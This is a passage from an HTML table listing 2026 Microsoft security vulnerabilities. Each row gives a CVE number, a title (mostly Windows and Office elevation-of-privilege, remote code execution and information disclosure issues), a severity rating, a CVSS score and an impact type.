  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
